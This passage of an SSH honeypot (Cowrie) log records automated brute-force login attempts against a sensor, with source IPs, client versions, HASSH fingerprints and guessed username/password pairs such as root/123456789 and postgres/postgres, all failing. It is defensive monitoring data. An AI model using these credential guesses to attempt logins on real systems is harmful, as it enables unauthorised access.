ha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:38.103836Z","src_ip":"103.75.199.4","session":"77cf9de88afb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:38.377138Z","src_ip":"103.75.199.4","session":"77cf9de88afb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":35646,"dst_ip":"10.17.0.5","dst_port":22,"session":"d43caa4e1d35","protocol":"ssh","message":"New connection: 43.163.119.215:35646 (10.17.0.5:22) [session: d43caa4e1d35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:39.039363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:39.044407Z","src_ip":"43.163.119.215","session":"d43caa4e1d35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:39.277995Z","src_ip":"43.163.119.215","session":"d43caa4e1d35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:39.469871Z","src_ip":"103.75.199.4","session":"77cf9de88afb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:39.968902Z","src_ip":"43.163.119.215","session":"d43caa4e1d35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":37044,"dst_ip":"159.203.135.109","dst_port":22,"session":"3101ddcd1f2f","protocol":"ssh","message":"New connection: 186.116.56.108:37044 (159.203.135.109:22) [session: 3101ddcd1f2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:40.546623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:40.551458Z","src_ip":"186.116.56.108","session":"3101ddcd1f2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:40.643016Z","src_ip":"186.116.56.108","session":"3101ddcd1f2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"doabarrelroll","message":"login attempt [root/doabarrelroll] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:41.044867Z","src_ip":"186.116.56.108","session":"3101ddcd1f2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:41.201482Z","src_ip":"43.163.119.215","session":"d43caa4e1d35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":52666,"dst_ip":"10.17.0.5","dst_port":22,"session":"684e51c65b5a","protocol":"ssh","message":"New connection: 205.209.121.72:52666 (10.17.0.5:22) [session: 684e51c65b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:41.316424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:41.321429Z","src_ip":"205.209.121.72","session":"684e51c65b5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:41.331335Z","src_ip":"205.209.121.72","session":"684e51c65b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test","message":"login attempt [root/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:41.384572Z","src_ip":"205.209.121.72","session":"684e51c65b5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:42.140919Z","src_ip":"186.116.56.108","session":"3101ddcd1f2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:42.394075Z","src_ip":"205.209.121.72","session":"684e51c65b5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":35648,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bdf405ba645","protocol":"ssh","message":"New connection: 43.163.119.215:35648 (10.17.0.5:22) [session: 1bdf405ba645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:47.565564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:47.570802Z","src_ip":"43.163.119.215","session":"1bdf405ba645","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:47.808977Z","src_ip":"43.163.119.215","session":"1bdf405ba645","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:48.524587Z","src_ip":"43.163.119.215","session":"1bdf405ba645","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:49.765399Z","src_ip":"43.163.119.215","session":"1bdf405ba645","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":41486,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cc61e1fd943","protocol":"ssh","message":"New connection: 43.163.119.215:41486 (10.17.0.5:22) [session: 7cc61e1fd943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:58.709189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:58.717837Z","src_ip":"43.163.119.215","session":"7cc61e1fd943","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:58.963684Z","src_ip":"43.163.119.215","session":"7cc61e1fd943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:59.702260Z","src_ip":"43.163.119.215","session":"7cc61e1fd943","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":59816,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8185f82a794","protocol":"ssh","message":"New connection: 103.75.199.4:59816 (159.203.135.109:22) [session: c8185f82a794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:59.866965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:59.871749Z","src_ip":"103.75.199.4","session":"c8185f82a794","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:59.963077Z","src_ip":"103.75.199.4","session":"c8185f82a794","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:00.246273Z","src_ip":"103.75.199.4","session":"c8185f82a794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:00.951033Z","src_ip":"43.163.119.215","session":"7cc61e1fd943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:01.341021Z","src_ip":"103.75.199.4","session":"c8185f82a794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":44762,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f61eca6be80","protocol":"ssh","message":"New connection: 162.243.147.237:44762 (159.203.135.109:22) [session: 9f61eca6be80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:01.755178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:01.760666Z","src_ip":"162.243.147.237","session":"9f61eca6be80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:01.837054Z","src_ip":"162.243.147.237","session":"9f61eca6be80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147852369","message":"login attempt [root/147852369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:02.158622Z","src_ip":"162.243.147.237","session":"9f61eca6be80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:03.232426Z","src_ip":"162.243.147.237","session":"9f61eca6be80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":55066,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4315168528e","protocol":"ssh","message":"New connection: 43.163.119.215:55066 (10.17.0.5:22) [session: b4315168528e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:12.088273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:12.093490Z","src_ip":"43.163.119.215","session":"b4315168528e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:12.331389Z","src_ip":"43.163.119.215","session":"b4315168528e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:13.045406Z","src_ip":"43.163.119.215","session":"b4315168528e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:14.286597Z","src_ip":"43.163.119.215","session":"b4315168528e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":58582,"dst_ip":"10.17.0.5","dst_port":22,"session":"011ebdad7610","protocol":"ssh","message":"New connection: 43.163.119.215:58582 (10.17.0.5:22) [session: 011ebdad7610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:17.431073Z"}
